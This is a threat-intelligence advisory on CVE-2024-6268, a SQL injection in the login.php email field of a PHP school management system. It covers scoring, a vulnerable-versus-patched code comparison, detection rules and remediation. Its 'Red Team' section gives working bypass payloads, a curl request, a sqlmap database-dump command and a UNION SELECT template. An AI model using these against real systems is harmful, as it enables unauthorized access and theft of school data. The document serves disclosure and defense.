CVE-2024-6268

Executive Summary

CVE-2024-6268 is a critical SQL injection vulnerability discovered in the lahirudanushka School Management System versions 1.0.0 and 1.0.1. The flaw resides in the login.php file, specifically within the email parameter of the login page. An unauthenticated attacker can remotely exploit this vulnerability by injecting malicious SQL queries through the email field, potentially leading to unauthorized data access, credential theft, and full database compromise.

The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, increasing the risk of widespread exploitation. As of this report, no official patch is available from the vendor, and the project appears unmaintained. The CVSS v3.1 base score is 9.8 (Critical) due to the network attack vector, low attack complexity, no privileges required, and no user interaction needed.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application. However, organizations using this system should treat it as a high-risk component in their software supply chain due to the lack of vendor support and the critical nature of the flaw.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete data disclosure possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Service disruption possible.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login.php script. The application fails to sanitize or parameterize the email input before using it in a SQL query. An attacker can submit a specially crafted string that breaks out of the intended SQL syntax and executes arbitrary commands against the database.

Technical Flow:

1. The user submits a login request via HTTP POST to login.php.
2. The email parameter is passed directly into a SQL query, likely similar to: SELECT * FROM users WHERE email = '$email' AND password = '$password'.
3. By injecting a single quote ('), the attacker can terminate the string and append malicious SQL.
4. Common techniques include UNION SELECT to extract data, OR 1=1 to bypass authentication, or ; DROP TABLE to destroy data.

Example Injection:

email: ' OR '1'='1' -- -
password: anything

This would result in the query: SELECT * FROM users WHERE email = '' OR '1'='1' -- -' AND password = 'anything', which returns all users, effectively bypassing authentication.

Vulnerable vs. Patched Code

Vulnerable Code (login.php - conceptual):

<?php
$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // login success
} else {
    // login failed
}
?>

Patched Code (using prepared statements):

<?php
$email = $_POST['email'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE email = ? AND password = ?");
$stmt->bind_param("ss", $email, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // login success
} else {
    // login failed
}
?>

The patched version uses parameterized queries, which separate SQL logic from data, rendering injection impossible.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of School Management System 1.0.0 or 1.0.1.
• A web browser or tool like curl, sqlmap, or Burp Suite.

Manual Exploitation (Authentication Bypass):

curl -X POST http://target.com/login.php \
  -d "email=' OR '1'='1' -- -&password=anything"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/login.php" --data="email=test&password=test" \
  --level=5 --risk=3 --batch --dump

Extracting Database Information:

' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- -

Adjust the number of columns to match the original query.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to login.php containing SQL keywords (UNION, SELECT, OR, --, #, ').
• Look for abnormal HTTP POST parameters with single quotes or encoded characters.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Honeypot:

• Deploy a decoy login page that logs all input and alerts on suspicious patterns.

Lab Setup:

• Use Docker to create an isolated environment:

FROM php:7.4-apache
COPY . /var/www/html/
RUN docker-php-ext-install mysqli

• Run: docker build -t school-mgmt . && docker run -p 8080:80 school-mgmt

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /login.php with unusual email parameter values.
• Requests containing SQL keywords in the POST body.
• Outbound database connections from the web server to unknown IPs.

File IOCs:

• Modified login.php file (if attacker uploads a web shell).
• Suspicious files in the web root (e.g., shell.php, cmd.php).

Log IOCs:

• Web server logs showing 400 or 500 errors from login.php.
• Database logs showing failed queries with syntax errors.

Example Suricata Rule (see Detection Engineering):

alert http any any -> any any (msg:"CVE-2024-6268 SQL Injection Attempt"; content:"POST"; http_method; content:"/login.php"; http_uri; content:"email="; pcre:"/email=.*['\"]/Ui"; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2024_6268_SQLi_Login {
    meta:
        description = "Detects SQL injection attempts targeting login.php in School Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6268"
    strings:
        $sqli1 = /email=.*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i
        $sqli2 = /email=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
        $uri = "/login.php"
    condition:
        $uri and ($sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2024-6268 SQL Injection Attempt on login.php
id: 7a8b3c2d-1e5f-4a0b-9c8d-7e6f5a4b3c2d
status: experimental
description: Detects SQL injection attempts against the login.php endpoint of School Management System
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6268
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login.php'
    keywords:
        - 'email='
        - "'"
        - 'OR'
        - 'AND'
        - 'UNION'
        - 'SELECT'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in email (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-6268 SQL Injection Attempt on login.php"; flow:to_server,established; content:"POST"; http_method; content:"/login.php"; http_uri; content:"email="; http_client_body; pcre:"/email=.*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If the application is internet-facing, take it offline or restrict access via firewall rules.
2. Apply virtual patching: Use a WAF to block SQL injection patterns (e.g., ModSecurity with OWASP CRS).
3. Manual code fix: Replace all dynamic SQL queries with prepared statements or parameterized queries in login.php and any other database-interacting files.

Long-term Remediation:

• Vendor contact: Attempt to contact the developer (lahirudanushka) for an official patch. If unresponsive, consider forking the project and applying fixes.
• Migration: Evaluate alternative school management systems that are actively maintained and security-audited.
• Security hardening: Implement input validation, output encoding, and least-privilege database accounts.

Detection & Monitoring:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for web server and database.
• Set up alerts for any SQL injection attempts.

Valters IT
Cyber Threat Intelligence & DevSecOps
Report generated for CVE-2024-6268